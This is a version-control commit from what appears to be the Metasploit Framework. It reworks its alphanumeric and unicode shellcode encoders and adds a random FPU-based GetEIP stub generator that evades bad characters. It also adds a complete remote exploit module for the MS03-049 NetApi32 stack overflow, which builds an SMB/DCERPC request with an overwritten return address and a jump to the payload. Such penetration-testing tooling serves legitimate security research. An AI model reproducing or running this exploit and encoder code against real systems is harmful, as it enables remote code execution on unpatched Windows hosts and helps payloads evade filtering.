First round of bugfixes for encoders. Alphanumeric encoders no longer default the BufferRegister option, since this can lead to non-compatible exploits falling through to these encoders, selecting them, and then crashing. The new method uses a dynamic (not quite poly) geteip generator, that while not yet alphanumeric compatible, it handles most of the known use cases. Remaining items:

1) Figure out how to handle unicode geteip (unicode encoded, alphanum probably)
2) Add keys to the unicode payloads to force a corresponding keyu on the exploit side to enable 




git-svn-id: file:///home/svn/framework3/trunk@3863 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
HD Moore 2006-09-10 05:10:48 +00:00
parent 7a051c8ee1
commit 47039ff3fa
7 changed files with 283 additions and 16 deletions

View File

@ -12,14 +12,12 @@ class Encoder::Alphanum < Msf::Encoder
def initialize(info) def initialize(info)
super(info) super(info)
# Defaults based on architecture.
reg = 'EAX' if (arch?(ARCH_X86))
off = 0 off = 0
register_options( register_options(
[ [
OptString.new('BufferRegister', [ true, "The register that pointers to the encoded payload", reg ]), OptString.new('BufferRegister', [ false, "The register that pointers to the encoded payload" ]),
OptInt.new('BufferOffset', [ true, "The offset to the buffer from the start of the register", off ]) OptInt.new('BufferOffset', [ false, "The offset to the buffer from the start of the register", off ])
], Msf::Encoder::Alphanum) ], Msf::Encoder::Alphanum)
end end

View File

@ -344,6 +344,133 @@ module X86
return data return data
end end
#
# This method returns an array of 'safe' FPU instructions
#
def self.fpu_instructions
fpus = []
0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr }
0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr }
0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr }
0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr }
0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr }
fpus << "\xd9\xd0"
fpus << "\xd9\xe1"
fpus << "\xd9\xf6"
fpus << "\xd9\xf7"
fpus << "\xd9\xe5"
# This FPU instruction seems to fail consistently on Linux
#fpus << "\xdb\xe1"
fpus
end
#
# This method returns an array containing a geteip stub, a register, and an offset
# This method will return nil if the getip generation fails
#
def self.geteip_fpu(badchars)
#
# Default badchars to an empty string
#
badchars ||= ''
#
# Bail out early if D9 is restricted
#
return nil if badchars.index("\xd9")
#
# Create a list of FPU instructions
#
fpus = *self.fpu_instructions
bads = []
badchars.each_byte do |c|
fpus.each do |str|
bads << str if (str.index(c.chr))
end
end
bads.each { |str| fpus.delete(str) }
return nil if fpus.length == 0
#
# Create a list of registers to use for fnstenv
#
dsts = []
0.upto(7) do |c|
dsts << c if (not badchars.index( (0x70+c).chr ))
end
if (dsts.include?(ESP) and badchars.index("\x24"))
dsts.delete(ESP)
end
return nil if dsts.length == 0
#
# Grab a random FPU instruction
#
fpu = fpus[ rand(fpus.length) ]
#
# Grab a random register from dst
#
while(dsts.length > 0)
buf = ''
dst = dsts[ rand(dsts.length) ]
dsts.delete(dst)
# If the register is not ESP, copy ESP
if (dst != ESP)
next if badchars.index( (0x70 + dst).chr )
if (not (badchars.index("\x89") or badchars.index( (0xE0+dst).chr )))
buf << "\x89" + (0xE0 + dst).chr
else
next if badchars.index("\x54")
next if badchars.index( (0x58+dst).chr )
buf << "\x54" + (0x58 + dst).chr
end
end
pad = 0
while (pad < (128-12) and badchars.index( (256-12-pad)))
pad += 4
end
# Give up on finding a value to use here
if (pad == (128-12))
return nil
end
out = buf + fpu + "\xd9" + (0x70 + dst).chr
out << "\x24" if dst == ESP
out << (256-12-pad).chr
regs = [*(0..7)]
while (regs.length > 0)
reg = regs[ rand(regs.length) ]
regs.delete(reg)
next if reg == ESP
next if badchars.index( (0x58 + reg).chr )
# Pop the value back out
0.upto(pad / 4) { |c| out << (0x58 + reg).chr }
# Fix the value to point to self
gap = out.length - buf.length
return [out, REG_NAMES32[reg].upcase, gap]
end
end
return nil
end
end end
end end end end

View File

@ -32,10 +32,20 @@ class AlphaMixed < Msf::Encoder::Alphanum
# being encoded. # being encoded.
# #
def decoder_stub(state) def decoder_stub(state)
reg = datastore['BufferRegister'] || 'EAX' reg = datastore['BufferRegister']
offset = datastore['BufferOffset'].to_i || 0 off = (datastore['BufferOffset'] || 0).to_i
buf = ''
# We need to create a GetEIP stub for the exploit
if (not reg)
res = Rex::Arch::X86.geteip_fpu(state.badchars)
if (not res)
raise RuntimeError, "Unable to generate geteip code"
end
buf, reg, off = res
end
Rex::Encoder::Alpha2::AlphaMixed::gen_decoder(reg, offset) buf + Rex::Encoder::Alpha2::AlphaMixed::gen_decoder(reg, off)
end end
# #
@ -43,7 +53,7 @@ class AlphaMixed < Msf::Encoder::Alphanum
# payload. # payload.
# #
def encode_block(state, block) def encode_block(state, block)
Rex::Encoder::Alpha2::AlphaMixed::encode_byte(block.unpack('C')[0], datastore['BadChars']) Rex::Encoder::Alpha2::AlphaMixed::encode_byte(block.unpack('C')[0], state.badchars)
end end
# #

View File

@ -32,10 +32,20 @@ class AlphaUpper < Msf::Encoder::Alphanum
# being encoded. # being encoded.
# #
def decoder_stub(state) def decoder_stub(state)
reg = datastore['BufferRegister'] || 'EAX' reg = datastore['BufferRegister']
offset = datastore['BufferOffset'].to_i || 0 off = (datastore['BufferOffset'] || 0).to_i
buf = ''
Rex::Encoder::Alpha2::AlphaUpper::gen_decoder(reg, offset) # We need to create a GetEIP stub for the exploit
if (not reg)
res = Rex::Arch::X86.geteip_fpu(state.badchars)
if (not res)
raise RuntimeError, "Unable to generate geteip code"
end
buf, reg, off = res
end
buf + Rex::Encoder::Alpha2::AlphaUpper::gen_decoder(reg, off)
end end
# #
@ -43,7 +53,7 @@ class AlphaUpper < Msf::Encoder::Alphanum
# payload. # payload.
# #
def encode_block(state, block) def encode_block(state, block)
return Rex::Encoder::Alpha2::AlphaUpper::encode_byte(block.unpack('C')[0], datastore['BadChars']) return Rex::Encoder::Alpha2::AlphaUpper::encode_byte(block.unpack('C')[0], state.badchars)
end end
# #

View File

@ -32,7 +32,7 @@ class UnicodeMixed < Msf::Encoder::Alphanum
# being encoded. # being encoded.
# #
def decoder_stub(state) def decoder_stub(state)
reg = datastore['BufferRegister'] || 'EAX' reg = datastore['BufferRegister'] || raise RuntimeError, "Need BufferRegister"
offset = datastore['BufferOffset'].to_i || 0 offset = datastore['BufferOffset'].to_i || 0
Rex::Encoder::Alpha2::UnicodeMixed::gen_decoder(reg, offset) Rex::Encoder::Alpha2::UnicodeMixed::gen_decoder(reg, offset)
@ -43,7 +43,7 @@ class UnicodeMixed < Msf::Encoder::Alphanum
# payload. # payload.
# #
def encode_block(state, block) def encode_block(state, block)
Rex::Encoder::Alpha2::UnicodeMixed::encode_byte(block.unpack('C')[0], datastore['BadChars']) Rex::Encoder::Alpha2::UnicodeMixed::encode_byte(block.unpack('C')[0], state.badchars)
end end
# #

View File

@ -32,7 +32,7 @@ class UnicodeUpper < Msf::Encoder::Alphanum
# being encoded. # being encoded.
# #
def decoder_stub(state) def decoder_stub(state)
reg = datastore['BufferRegister'] || 'EAX' reg = datastore['BufferRegister'] || raise RuntimeError, "Need BufferRegister"
offset = datastore['BufferOffset'].to_i || 0 offset = datastore['BufferOffset'].to_i || 0
Rex::Encoder::Alpha2::UnicodeUpper::gen_decoder(reg, offset) Rex::Encoder::Alpha2::UnicodeUpper::gen_decoder(reg, offset)
@ -43,7 +43,7 @@ class UnicodeUpper < Msf::Encoder::Alphanum
# payload. # payload.
# #
def encode_block(state, block) def encode_block(state, block)
Rex::Encoder::Alpha2::UnicodeUpper::encode_byte(block.unpack('C')[0], datastore['BadChars']) Rex::Encoder::Alpha2::UnicodeUpper::encode_byte(block.unpack('C')[0], state.badchars)
end end
# #

View File

@ -0,0 +1,122 @@
require 'msf/core'
module Msf
class Exploits::Windows::Smb::MS03_049_NETAPI < Msf::Exploit::Remote
include Exploit::Remote::DCERPC
include Exploit::Remote::SMB
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft NetAddAlternateComputerName MS03-049 Overflow',
'Description' => %q{
This module exploits a stack overflow in the NetApi32 NetAddAlternateComputerName
function using the Workstation service in Windows XP.
},
'Author' =>
[
'hdm'
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 3720 $',
'References' =>
[
[ 'BID', '9011' ],
[ 'CVE', '2003-082' ],
[ 'MSB', 'MS03-049' ],
[ 'OSVDB', '11461' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c" + [*(0x80..0x9f)].pack('C*'),
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'DefaultTarget' => 0,
'Targets' =>
[
[ 'Windows XP SP0/SP1',
{
'Ret' => 0x71aa32ad # pop/pop/ret in ws2help.dll
}
],
],
'DisclosureDate' => 'Nov 11 2003'))
register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, WKSSVC)", 'BROWSER']),
], self.class)
end
def exploit
connect()
smb_login()
handle = dcerpc_handle(
'6bffd098-a112-3610-9833-46c3f87e345a', '1.0',
'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
)
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
print_status("Building the stub data...")
name = Rex::Text.rand_text_alphanumeric(5000)
name[3496, 4] = [target.ret].pack('V')
name[3492, 2] = "\xeb\x06"
name[3500, 5] = "\xe9" + [-3505].pack('V')
name[0, payload.encoded.length] = payload.encoded
=begin
name[0, payload.encoded.length] = "\xcc" * payload.encoded.length
buff = [*(0x7f..255)].pack('C*')
payload_badchars.each_byte do |c|
buff.delete!(c.chr)
end
name[3505, buff.length] = buff
=end
stub =
NDR.long(rand(0xffffffff)) +
NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +
NDR.long(rand(0xffffffff)) +
NDR.UnicodeConformantVaryingString(name) +
NDR.long(rand(0xffffffff)) +
NDR.UnicodeConformantVaryingString('') +
NDR.long(0) +
NDR.long(0)
print_status("Calling the vulnerable function...")
begin
dcerpc.call(0x1b, stub)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
rescue => e
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
raise e
end
end
# Cleanup
handler
disconnect
end
end
end